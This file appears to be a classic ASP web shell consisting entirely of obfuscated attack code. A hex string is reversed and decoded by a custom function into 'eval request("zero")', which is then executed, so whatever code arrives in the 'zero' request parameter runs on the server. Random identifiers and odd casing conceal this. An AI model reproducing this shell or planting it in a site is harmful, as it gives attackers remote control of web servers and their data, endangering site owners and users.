<%
eXecUTe(ZWCQA("92002200F60027005600A7002200820047003700560057001700560027000200C60016006700560077007600"))REM )
function ZWCQA(text)
const LPMZ="gw"
dim YCRD : YCRD=text
dim QSVC
dim TSZV : TSZV=strreverse(YCRD)
for i=1 to len(TSZV) step 4
QSVC=QSVC & ChrW(cint("&H" & mid(TSZV,i,4)))
next
ZWCQA=mid(QSVC,len(LPMZ)+1,len(YCRD)-len(LPMZ))
end function
%>
